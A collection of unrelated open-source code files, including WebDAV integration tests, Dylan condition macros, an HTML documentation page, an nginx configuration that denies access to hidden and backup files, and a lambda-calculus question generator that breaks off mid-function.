@property (readonly) unsigned long long hash;
@property (readonly) Class superclass;
- (id)orderTopicsWithClusteredHeadlines:(id)arg1 additionalHeadlines:(id)arg2 subscribedTagIDs:(id)arg3 scoresByArticleID:(id)arg4 personalizer:(id)arg5 tagNameProvider:(id /* block */)arg6 personalizationTreatment:(id)arg7;
@end
| {
"pile_set_name": "Github"
} |
/*<FILE_LICENSE>
* NFX (.NET Framework Extension) Unistack Library
* Copyright 2003-2018 Agnicore Inc. portions ITAdapter Corp. Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
</FILE_LICENSE>*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using NFX.IO.FileSystem.SVN;
using NUnit.Framework;
using NFX.Web;
namespace NFX.NUnit.Integration.IO.FileSystem.SVN
{
[TestFixture]
public class WebDAVTest: ExternalCfg
{
[Test]
public void ItemProperties()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
Assert.Greater(root.Version.AsInt(), 0);
Assert.Greater(root.CreationDate, DateTime.MinValue);
Assert.Greater(root.LastModificationDate, DateTime.MinValue);
var maxVersionChild = root.Children.OrderByDescending(c => c.Version).First();
Console.WriteLine("First Child: " + maxVersionChild);
Assert.Greater(maxVersionChild.Version.AsInt(), 0);
Assert.Greater(maxVersionChild.CreationDate, DateTime.MinValue);
Assert.Greater(maxVersionChild.LastModificationDate, DateTime.MinValue);
Assert.AreEqual(root.Version, maxVersionChild.Version);
}
}
[Test]
public void DirectoryChildren()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
var children = root.Children;
Assert.IsNotNull(children);
Assert.AreEqual(3, children.Count());
Assert.IsTrue(children.Any(c => c.Name == "trunk"));
var firstChild = children.First();
Assert.AreEqual(root, firstChild.Parent);
}
}
[Test]
public void NavigatePathFolder()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
WebDAV.Directory nested = root.NavigatePath("/trunk/Source/NFX") as WebDAV.Directory;
Assert.IsNotNull(nested);
Assert.AreEqual("NFX", nested.Name);
Assert.AreEqual("/trunk/Source/NFX", nested.Path);
Assert.AreEqual("Source", nested.Parent.Name);
Assert.AreEqual("/trunk/Source", nested.Parent.Path);
Assert.AreEqual("trunk", nested.Parent.Parent.Name);
Assert.AreEqual("/trunk", nested.Parent.Parent.Path);
}
}
[Test]
public void NavigatePathFile()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
WebDAV.File nested = root.NavigatePath("/trunk/Source/NFX/LICENSE.txt") as WebDAV.File;
Assert.IsNotNull(nested);
Assert.AreEqual("LICENSE.txt", nested.Name);
using (MemoryStream s = new MemoryStream())
{
nested.GetContent(s);
Assert.Greater(s.Length, 0);
}
}
}
[Test]
public void ContentType()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
var file1 = root.NavigatePath("/trunk/Source/NFX/LICENSE.txt");
var file2 = root.NavigatePath("/trunk/Source/NFX.Wave/Templatization/StockContent/Embedded/flags/ad.png");
Assert.AreEqual(0, string.Compare("text/xml; charset=\"utf-8\"", file1.ContentType, true));
Assert.AreEqual(0, string.Compare("application/octet-stream", file2.ContentType, true));
}
}
[Test]
public void FileContent()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
WebDAV.File file = root.Children.First(c => c is WebDAV.File) as WebDAV.File;
using (MemoryStream ms = new MemoryStream())
{
file.GetContent(ms);
Assert.Greater(ms.Length, 0);
}
}
}
[Test]
public void GetVersions()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
IList<WebDAV.Version> versions = WebDAV.GetVersions(SVN_ROOT, SVN_UNAME, SVN_UPSW).ToList();
Assert.IsNotNull(versions);
Assert.Greater(versions.Count(), 0);
WebDAV.Version v1 = versions.First();
Assert.IsNotNull(v1);
Assert.IsNotNullOrEmpty(v1.Creator);
Assert.IsNotNullOrEmpty(v1.Comment);
Assert.AreEqual("1", v1.Name);
Assert.Greater(v1.Date, DateTime.MinValue);
}
}
[Test]
public void DifferentDirectoryVersions()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
IList<WebDAV.Version> versions = WebDAV.GetVersions(SVN_ROOT, SVN_UNAME, SVN_UPSW).ToList();
WebDAV.Version v1513 = versions.First(v => v.Name == "1513");
WebDAV.Version v1523 = versions.First(v => v.Name == "1523");
var client1513 = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW, version: v1513);
var client1523 = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW, version: v1523);
WebDAV.Directory root1513 = client1513.Root;
WebDAV.Directory root1523 = client1523.Root;
WebDAV.Directory nested1513 = root1513.NavigatePath("trunk/Source/NFX.Web/IO/FileSystem") as WebDAV.Directory;
WebDAV.Directory nested1523 = root1523.NavigatePath("trunk/Source/NFX.Web/IO/FileSystem") as WebDAV.Directory;
Assert.IsNull(nested1513["SVN"]);
Assert.IsNotNull(nested1523["SVN"]);
}
}
[Test]
public void DifferentFileVersions()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
IList<WebDAV.Version> versions = WebDAV.GetVersions(SVN_ROOT, SVN_UNAME, SVN_UPSW).ToList();
WebDAV.Version v1530 = versions.First(v => v.Name == "1530");
WebDAV.Version v1531 = versions.First(v => v.Name == "1531");
var client1530 = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW, version: v1530);
var client1531 = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW, version: v1531);
WebDAV.Directory root1530 = client1530.Root;
WebDAV.Directory root1531 = client1531.Root;
WebDAV.File file1530 = root1530.NavigatePath("trunk/Source/NFX.Web/IO/FileSystem/SVN/WebDAV.cs") as WebDAV.File;
WebDAV.File file1531 = root1531.NavigatePath("trunk/Source/NFX.Web/IO/FileSystem/SVN/WebDAV.cs") as WebDAV.File;
using (MemoryStream ms1530 = new MemoryStream())
{
using (MemoryStream ms1531 = new MemoryStream())
{
file1530.GetContent(ms1530);
file1531.GetContent(ms1531);
Assert.AreNotEqual(ms1530.Length, ms1531.Length);
}
}
}
}
[Test]
public void NonExistingItem()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
var children = root.Children;
var nonexistingChild = root[children.OrderBy(c => c.Name.Length).First().Name + "_"];
Assert.IsNull(nonexistingChild);
}
}
[Test]
public void GetHeadRootVersion()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
WebDAV.Version lastVersion = client.GetHeadRootVersion();
Assert.IsNotNull(lastVersion);
}
}
[Test]
public void EscapeDir()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
{
var d = client.Root.NavigatePath("trunk/Source/Testing/NUnit/NFX.NUnit.Integration/IO/FileSystem/SVN") as WebDAV.Directory;
Assert.IsNotNull(d.Children.FirstOrDefault(c => c.Name == "Esc Folder+"));
}
{
var d = client.Root.NavigatePath("trunk/Source/Testing/NUnit/NFX.NUnit.Integration/IO/FileSystem/SVN/Esc Folder+") as WebDAV.Directory;
Assert.IsNotNull(d);
Assert.AreEqual("Esc Folder+", d.Name);
}
}
}
[Test]
public void EscapeFile()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
var f = client.Root.NavigatePath("trunk/Source/Testing/NUnit/NFX.NUnit.Integration/IO/FileSystem/SVN/Esc Folder+/Escape.txt") as WebDAV.File;
var ms = new MemoryStream();
f.GetContent(ms);
var s = Encoding.UTF8.GetString(ms.GetBuffer(), 0, (int)ms.Length);
Console.WriteLine(s);
Assert.AreEqual("Escape file+content", s);
}
}
[Test]
public void GetManyFiles()
{
using(new NFX.ApplicationModel.ServiceBaseApplication(null, LACONF.AsLaconicConfig()))
{
var client = new WebDAV(SVN_ROOT, 0, SVN_UNAME, SVN_UPSW);
var d = client.Root.NavigatePath("trunk/Source/NFX.Wave/Templatization/StockContent/Embedded/flags") as WebDAV.Directory;
var stopwatch = new System.Diagnostics.Stopwatch();
stopwatch.Start();
foreach (WebDAV.File f in d.Children)
{
MemoryStream ms = new MemoryStream();
f.GetContent(ms);
Console.WriteLine("{0} done".Args(f.Name));
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);
}
}
[Test]
[ExpectedException(typeof(System.Net.WebException), MatchType=MessageMatch.Contains)]
public void FailedFastTimeout()
{
var conf = LACONF.AsLaconicConfig();
using (var app = new NFX.ApplicationModel.ServiceBaseApplication(new string[] {}, conf))
{
try
{
var client = new WebDAV(SVN_ROOT, 1, SVN_UNAME, SVN_UPSW);
WebDAV.Directory root = client.Root;
var children = root.Children;
}
catch (Exception ex)
{
Console.WriteLine(ex.ToMessageWithType());
throw;
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
Synopsis: Macros for defining and using program conditions.
Author: haahr, jonathan, keith, swm
Module: dfmc-conditions-implementation
Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc.
All rights reserved.
License: See License.txt in this distribution for details.
Warranty: Distributed WITHOUT WARRANTY OF ANY KIND
// define program-condition
//
// This macro is used to define new condition classes. It handles the
// condition-format as declarations within the class, which report
// information based on the hierarchy.
//
// The basic syntax is
//
// define [modifier *] program-condition /name/ (/superclass/, *)
// [/slot-spec/ | format-string /string/; | format-arguments /slot/, *;]*
// end [program-condition] [/name/]
//
// which expands into a similar "define class" form, with a make
// method to handle the format-arguments, if present.
//
// As usual for interesting macros, it needs some auxiliary macros,
// because the slot-specs are parsed multiple times.
define macro program-condition-definer
{ define ?modifiers:* program-condition ?:name (?supers:*)
?specs:*
end }
=> { define ?modifiers program-condition-aux ?name
(?supers) (?modifiers) (?specs)
end;
define condition-make-method-maybe (?name)
?specs
end;
define method convert-condition-slots-to-ppml(?=%c :: ?name) => ();
convert-slots-to-ppml ?specs end;
?=next-method()
end;
define condition-make-filter (?name)
?specs
end;
/* Unused: Condition filtering.
define sealed inline method program-note-filter
(c == ?name) => (filter :: <program-note-filter>)
ignore(c);
"*" ## ?name ## "-filter*"
end;
define sealed method program-note-filter-setter
(filter :: <program-note-filter>, c == ?name)
=> (filter :: <program-note-filter>)
ignore(c);
"*" ## ?name ## "-filter*" := filter;
?=next-method()
end
*/
}
end macro program-condition-definer;
define macro program-condition-aux-definer
{ define ?modifiers program-condition-aux ?:name
(?supers:*) (?mixins) (?specs)
end }
=> { define ?modifiers class ?name (?supers, ?mixins) ?specs end; }
modifiers:
{ ?:name ... } => { ?name ... }
{ } => { }
mixins:
{ ?:name ... } => { ... }
{ } => { }
specs:
{ } => { }
{ ?spec; ... } => { ?spec; ... }
spec:
{ format-arguments ?args:* }
=> { }
{ format-string ?:expression }
=> { keyword format-string: = ?expression }
{ filter ?args:* }
=> { }
// This hackery is needed to allow for ppml conversion back into the same
// slot...
{ ?mods:* slot condition-context-id ?more:* }
=> { ?mods slot condition-context-id ?more }
{ ?mods:* slot subnotes ?more:* }
=> { ?mods slot subnotes ?more }
{ ?adjectives:* slot ?:name :: ?type:expression ?more:* }
=> { ?adjectives slot ?name :: type-union(?type, <ppml>) ?more }
{ ?other:* }
=> { ?other }
adjectives:
// Even if the user declares "constant", it can't be because of the
// ppml hackery, so we strip it out.
{ ?before:* constant ?after:* }
=> { ?before ?after }
{ ?other:* }
=> { ?other }
end macro program-condition-aux-definer;
define macro convert-slots-to-ppml
{ convert-slots-to-ppml end }
=> { }
{ convert-slots-to-ppml ?spec:*; ... end }
=> { ?spec
convert-slots-to-ppml ... end; }
spec:
{ format-arguments ?args:* } => { }
{ format-string ?:expression } => { }
{ filter ?args:* } => { }
{ keyword ?args:* } => { }
{ ?mods:* slot condition-context-id ?rest:* } => { }
{ ?mods:* slot subnotes ?rest:* }
=> { do(convert-condition-slots-to-ppml, ?=%c.subnotes); }
{ slot ?name:variable ?rest:* } => { ?=%c.?name := as(<ppml>, ?=%c.?name); }
{ constant slot ?name:variable ?rest:* }
=> { ?=%c.?name := as(<ppml>, ?=%c.?name); }
end macro convert-slots-to-ppml;
define macro condition-make-method-maybe-definer
{ define condition-make-method-maybe (?class:name) end }
=> { }
{ define condition-make-method-maybe (?class:name)
format-arguments ?args:*; ?ignored:*
end }
=> { define condition-make-method-maybe (?class)
format-arguments-aux (?args) (?args)
end }
{ define condition-make-method-maybe (?class:name)
format-arguments-aux (?call-args) (?decl-args)
end }
=> { define method make
(class :: subclass(?class), #rest initargs, #key ?decl-args)
=> (object :: ?class)
// TODO: make this really check
if (member?(format-arguments:, initargs))
apply(?=next-method, class, initargs)
else
apply(?=next-method, class,
format-arguments: list(?call-args), initargs)
end if
end method make }
{ define condition-make-method-maybe (?class:name)
?spec:*; ?rest:*
end }
=> { define condition-make-method-maybe (?class)
?rest
end }
call-args:
{ } => { }
{ ?argument:name, ... } => { ?argument, ... }
{ ?argument:name again, ... } => { ?argument, ... }
decl-args:
{ } => { }
{ ?argument:name, ... } => { ?argument, ... }
{ ?argument:name again, ... } => { ... }
end macro condition-make-method-maybe-definer;
define macro condition-make-filter-definer
{ define condition-make-filter (?class:name) end }
=> { // Inherit setting from parent note.
/* Unused: Condition filtering.
define variable "*" ## ?class ## "-filter*" =
block (return)
for (c in direct-superclasses(?class))
if (subtype?(c, <program-note>))
return(c.program-note-filter)
end
end;
end;
*/
}
{ define condition-make-filter (?class:name)
filter ?arg:expression; ?ignored:*
end }
/* Unused: Condition filtering.
=> { define variable "*" ## ?class ## "-filter*" = ?arg; }
*/
=> { define sealed inline method program-note-filter
(c :: subclass(?class)) => (filter :: <program-note-filter>)
?arg
end; }
{ define condition-make-filter (?class:name)
?spec:*; ?rest:*
end }
=> { define condition-make-filter (?class) ?rest end }
end macro condition-make-filter-definer;
// define program-condition-definer
//
// This macro defines another macro (using Functional Objects extension
// syntax for quoting pattern variables in macros-within-macros), which
// follows the same form as define-program-condition.
//
// The generated macros are used for convenient definition of specific
// condition classes.
define macro program-condition-definer-definer
{ define program-condition-definer ?:name }
=> { define program-condition-definer ?name :: "<" ## ?name ## ">" }
{ define program-condition-definer ?:name :: ?default:expression }
=> { define macro ?name ## "-definer"
{ define \?modifiers:* ?name \?cond-class:name (\?supers:*)
\?specs:*
end }
=> { define \?modifiers program-condition \?cond-class (\?supers)
\?specs
end program-condition \?cond-class;
if (~subtype?(\?cond-class, ?default))
error(\?"cond-class" " is not a subclass of " ?"default");
else
values()
end if }
{ define \?modifiers:* ?name \?cond-class:name \?specs:* end }
=> { define \?modifiers ?name \?cond-class (?default)
\?specs
end ?name \?cond-class }
end macro /* ?name ## "-definer" */ }
end macro program-condition-definer-definer;
// condition-block
//
// This is a simple convenience macro for defining restarts for
// handling program conditions. The syntax is
//
// condition-block
// /body/
// {[default] restart [/name/ ::] /type/ {, /init-arguments/}* [and /test/]
// => /restart-body/}*
// end [condition-block]
//
// It expands to a block statement with an exception clause for each
// restart clause. The init-arguments are packaged into a sequence and
// passed as the init-arguments: exception option. The test, if present,
// is turned into a method as used for the test: exception option. The
// default option makes the restart a potential default restart -- the
// accompanying condition handler chooses the innermost appropriate default
// restart.
//
// It's not clear to me that having special syntax is really worth it,
// but the examples do look prettier this way.
define macro condition-block
{ condition-block ?:body ?restarts end }
=> { condition-block-aux ?body ?restarts end }
restarts:
{ restart ?spec:* => ?:body ... }
=> { restart (?spec) => ?body }
{ default restart ?cond:* and ?guard:expression => ?:body ... }
=> { restart ?cond, default?: #t and ?guard => ?body ... }
{ default restart ?cond:* => ?:body ... }
=> { restart ?cond, default?: #t => ?body ... }
{ }
=> { }
end macro condition-block;
define macro condition-block-aux
{ condition-block-aux ?:body ?restarts end }
=> { block ?body ?restarts end }
restarts:
{ restart ?spec => ?:body ... }
=> { exception (?spec) ?body ... }
{ }
=> { }
spec:
{ ?type:expression, ?init-args:* and ?guard:expression }
=> // probably should be prohibited, because an unnamed condition
// doesn't make sense with the guard.
{ _condition_ :: ?type,
init-arguments: vector(?init-args),
test: method (condition) ?guard end }
{ ?:name :: ?type:expression, ?init-args:* and ?guard:expression }
=> { ?name :: ?type,
init-arguments: vector(?init-args),
test: method (?name) ?guard end }
{ ?type:expression, ?init-args:* }
=> { _condition_ :: ?type, init-arguments: vector(?init-args) }
{ ?:name :: ?type:expression, ?init-args:* }
=> { ?name :: ?type, init-arguments: vector(?init-args) }
end macro condition-block-aux;
define macro maybe-note
{ maybe-note(?class:expression, ?rest:*) }
=> { if (?class.program-note-filter)
note(?class, ?rest)
end if
}
end macro;
// Macros to support the construction of subnotes.
define macro accumulate-subnotes-during
{ accumulate-subnotes-during(?expr:expression) }
=> { dynamic-bind ( *subnotes-queue* = make(<deque>) )
let result = ?expr;
values(result, *subnotes-queue*)
end dynamic-bind }
end macro accumulate-subnotes-during;
define macro note-during
{ note-during(?expr:expression, ?args:*) }
=> { let (result, subs) = accumulate-subnotes-during(?expr);
note(?args, subnotes: subs);
result }
end macro note-during;
| {
"pile_set_name": "Github"
} |
// WARNING
//
// This file has been generated automatically by Xamarin Studio Community to store outlets and
// actions made in the UI designer. If it is removed, they will be lost.
// Manual changes to this file may not be handled correctly.
//
using Foundation;
using System.CodeDom.Compiler;
namespace Tiled2UnityMac
{
[Register ("Tiled2UnityWindowController")]
partial class Tiled2UnityWindowController
{
void ReleaseDesignerOutlets ()
{
}
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto+Mono:300,400,500">
<link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/material-components-web.min.css" />
<link rel="stylesheet" href="css/prism.css" />
<link rel="stylesheet" href="css/theme.css" />
<link rel="stylesheet" href="css/style.css" />
<title>Material Design Extensions</title>
</head>
<body class="mdc-typography">
<div id="root">
<header class="mdc-top-app-bar mdc-top-app-bar--fixed">
<div class="mdc-top-app-bar__row">
<section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-start">
<!--<button class="material-icons mdc-top-app-bar__navigation-icon mdc-ripple-upgraded--unbounded mdc-ripple-upgraded menu"
style="--mdc-ripple-fg-size:28.799999999999997px; --mdc-ripple-fg-scale:1.6666666666666667; --mdc-ripple-left:10px; --mdc-ripple-top:10px;">menu</button>-->
<button class="material-icons mdc-top-app-bar__navigation-icon menu">menu</button>
<span class="mdc-top-app-bar__title">Material Design Extensions</span>
</section>
<section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-end" role="toolbar">
<a href="https://github.com/spiegelp/MaterialDesignExtensions" class="mdc-top-app-bar__action-item" aria-label="GitHub" alt="GitHub" target="_blank">
<img class="nav-github-image" src="images/GitHub-Mark-Light-120px-plus.png" />
</a>
</section>
</div>
</header>
<aside class="mdc-drawer mdc-drawer--temporary">
<nav class="mdc-drawer__drawer">
<nav class="mdc-drawer__content mdc-list" data-bind="foreach: navigationItems">
<span class="mdc-list-item mdc-list-item__link" data-bind="css: { 'mdc-list-item--selected': $data.isSelected }, click: $root.goToNavigationItem">
<i class="material-icons mdc-list-item__graphic" aria-hidden="true" data-bind="text: $data.icon"></i>
<span data-bind="text: $data.label"></span>
</span>
</nav>
</nav>
</aside>
<main class="mdc-top-app-bar--fixed-adjust">
<div id="content" class="content">
<p>Loading...</p>
</div>
<div id="footer">
<div class="content">
Made with ♥ by Philipp Spiegel - Code licensed under the <a href="javascript: appViewModel.goToNavigationItemId('license')">MIT license</a>
</div>
</div>
</main>
</div>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/knockout/3.4.2/knockout-min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/sammy.js/0.7.6/sammy.min.js"></script>
<script type="text/javascript" src="https://unpkg.com/[email protected]/dist/material-components-web.min.js"></script>
<script type="text/javascript" src="js/NavigationItem.js"></script>
<script type="text/javascript" src="js/DocumentationItem.js"></script>
<script type="text/javascript" src="js/AppViewModel.js"></script>
<script type="text/javascript" src="js/prism.js"></script>
<script type="text/javascript">
window.mdc.autoInit();
let drawer = new mdc.drawer.MDCTemporaryDrawer(document.querySelector('.mdc-drawer--temporary'));
document.querySelector('.menu').addEventListener('click', () => drawer.open = true);
let appViewModel = new AppViewModel('content', drawer);
ko.applyBindings(appViewModel);
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
tooltip: Selects all revision clouds in the model with comment matching selected revision cloud
context: selection
| {
"pile_set_name": "Github"
} |
#name: FRV uClinux PIC relocs to global symbols, pie linking
#source: fdpic2.s
#objdump: -DR -j .text -j .data -j .got -j .plt
#ld: -pie --hash-style=sysv
.*: file format elf.*frv.*
Disassembly of section \.text:
[0-9a-f ]+<F2>:
[0-9a-f ]+: 80 3c 00 01 call [0-9a-f]+ <GF0>
[0-9a-f ]+<GF0>:
[0-9a-f ]+: 80 40 f0 10 addi gr15,16,gr0
[0-9a-f ]+: 80 fc 00 24 setlos 0x24,gr0
[0-9a-f ]+: 80 f4 00 20 setlo 0x20,gr0
[0-9a-f ]+: 80 f8 00 00 sethi hi\(0x0\),gr0
[0-9a-f ]+: 80 40 f0 0c addi gr15,12,gr0
[0-9a-f ]+: 80 fc 00 18 setlos 0x18,gr0
[0-9a-f ]+: 80 f4 00 14 setlo 0x14,gr0
[0-9a-f ]+: 80 f8 00 00 sethi hi\(0x0\),gr0
[0-9a-f ]+: 80 40 ff f8 addi gr15,-8,gr0
[0-9a-f ]+: 80 fc ff f0 setlos 0xf+ff0,gr0
[0-9a-f ]+: 80 f4 ff e8 setlo 0xffe8,gr0
[0-9a-f ]+: 80 f8 ff ff sethi 0xffff,gr0
[0-9a-f ]+: 80 40 ff dc addi gr15,-36,gr0
[0-9a-f ]+: 80 fc ff dc setlos 0xf+fdc,gr0
[0-9a-f ]+: 80 f4 ff dc setlo 0xffdc,gr0
[0-9a-f ]+: 80 f8 ff ff sethi 0xffff,gr0
[0-9a-f ]+: 80 f4 00 1c setlo 0x1c,gr0
[0-9a-f ]+: 80 f8 00 00 sethi hi\(0x0\),gr0
Disassembly of section \.dat[0-9a-f ]+:
[0-9a-f ]+<D2>:
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.data
[0-9a-f ]+<GD0>:
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.text
Disassembly of section \.got:
[0-9a-f ]+<.got>:
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC_VALUE \.text
[0-9a-f ]+: 00 00 00 02 add\.p gr0,fp,gr0
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC_VALUE \.text
[0-9a-f ]+: 00 00 00 02 add\.p gr0,fp,gr0
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC_VALUE \.text
[0-9a-f ]+: 00 00 00 02 add\.p gr0,fp,gr0
[0-9a-f ]+<_GLOBAL_OFFSET_TABLE_>:
\.\.\.
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_FUNCDESC \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.data
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.text
[0-9a-f ]+: 00 00 00 04 add\.p gr0,gr4,gr0
[0-9a-f ]+: R_FRV_32 \.text
| {
"pile_set_name": "Github"
} |
#import "GPUImageFilter.h"
// This is an accumulator that uses a Hough transform in parallel coordinate space to identify probable lines in a scene.
//
// It is entirely based on the work of the Graph@FIT research group at the Brno University of Technology and their publications:
// M. Dubská, J. Havel, and A. Herout. Real-Time Detection of Lines using Parallel Coordinates and OpenGL. Proceedings of SCCG 2011, Bratislava, SK, p. 7.
// M. Dubská, J. Havel, and A. Herout. PClines — Line detection using parallel coordinates. 2011 IEEE Conference on Computer Vision and Pattern Recognition (CVPR), p. 1489- 1494.
@interface GPUImageParallelCoordinateLineTransformFilter : GPUImageFilter
{
GLubyte *rawImagePixels;
GLfloat *lineCoordinates;
unsigned int maxLinePairsToRender, linePairsToRender;
}
@end
| {
"pile_set_name": "Github"
} |
# ----------------------------------------------------------------------
# | File access |
# ----------------------------------------------------------------------
# Block access to all hidden files and directories except for the
# visible content from within the `/.well-known/` hidden directory.
#
# These types of files usually contain user preferences or the preserved state
# of a utility, and can include rather private places like, for example, the
# `.git` or `.svn` directories.
#
# The `/.well-known/` directory represents the standard (RFC 5785) path prefix
# for "well-known locations" (e.g.: `/.well-known/manifest.json`,
# `/.well-known/keybase.txt`), and therefore, access to its visible content
# should not be blocked.
#
# https://www.mnot.net/blog/2010/04/07/well-known
# https://tools.ietf.org/html/rfc5785
location ~* /\.(?!well-known\/) {
deny all;
}
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Block access to files that can expose sensitive information.
#
# By default, block access to backup and source files that may be left by some
# text editors and can pose a security risk when anyone has access to them.
#
# https://feross.org/cmsploit/
#
# (!) Update the `location` regular expression from below to include any files
# that might end up on your production server and can expose sensitive
# information about your website. These files may include: configuration
# files, files that contain metadata about the project (e.g.: project
# dependencies, build scripts, etc.).
location ~* (?:#.*#|\.(?:bak|conf|dist|fla|in[ci]|log|orig|psd|sh|sql|sw[op])|~)$ {
deny all;
}
| {
"pile_set_name": "Github"
} |
/* global console, LAMBDA */
(function() {
"use strict";
var L = LAMBDA;
var question = {};
var arr;
function pickExpressionSubcase(minDepth,maxDepth,vars,
prob1a,prob1b,prob3) {
/* pick a, p, abd B in subst(a,p,B) */
var substCase,a,p,B,tmp,tmp2, x;
var rnd = Math.random();
a = L.getRndExp(1,1,3,vars,"");
if (rnd < prob1a) {
substCase = "1a";
p = L.absyn.createVarExp( vars.substr(L.getRnd(0,vars.length-1),1));
B = p;
} else if (rnd < prob1b) {
substCase = "1b";
tmp = L.getRnd(0,vars.length-1);
while (true) {
tmp2 = L.getRnd(0,vars.length-1);
if (tmp2 !== tmp) { break; }
}
p = L.absyn.createVarExp( vars.substr(tmp,1));
B = L.absyn.createVarExp( vars.substr(tmp2,1));
} else if (rnd < prob3) {
substCase = "3";
p = L.absyn.createVarExp( vars.substr(L.getRnd(0,vars.length-1),1));
while (true) {
B = L.getRndExp(1,2,4,vars,"");
if (L.absyn.isAppExp(B)) {
break;
}
}
} else {
// first pick the lambda abstraction
while (true) {
B = L.getRndExp(1,2,4,vars,"");
if (L.absyn.isLambdaAbs(B)) {
break;
}
}
x = L.absyn.getLambdaAbsParam(B);
// now pick subcase
rnd = L.getRnd(1,3);
if (rnd === 1) {
substCase = "2a";
p = x;
} else {
// pick a variable p different from x and a
while (true) {
tmp = vars.substr( L.getRnd(0,vars.length-1), 1);
if (tmp !== L.absyn.getVarExpId(x) &&
tmp !== L.printExp(a)) {
break;
}
}
p = L.absyn.createVarExp(tmp);
// handle the two remaining subcases
if (rnd === 2) {
substCase = "2b";
if (L.free(x,a)) {
while (true) {
a = L.getRndExp(1,1,3,vars,"");
if (! L.free(x,a)) {
break;
}
}
}
}
else {
substCase = "2c";
if (! L.free(x,a)) {
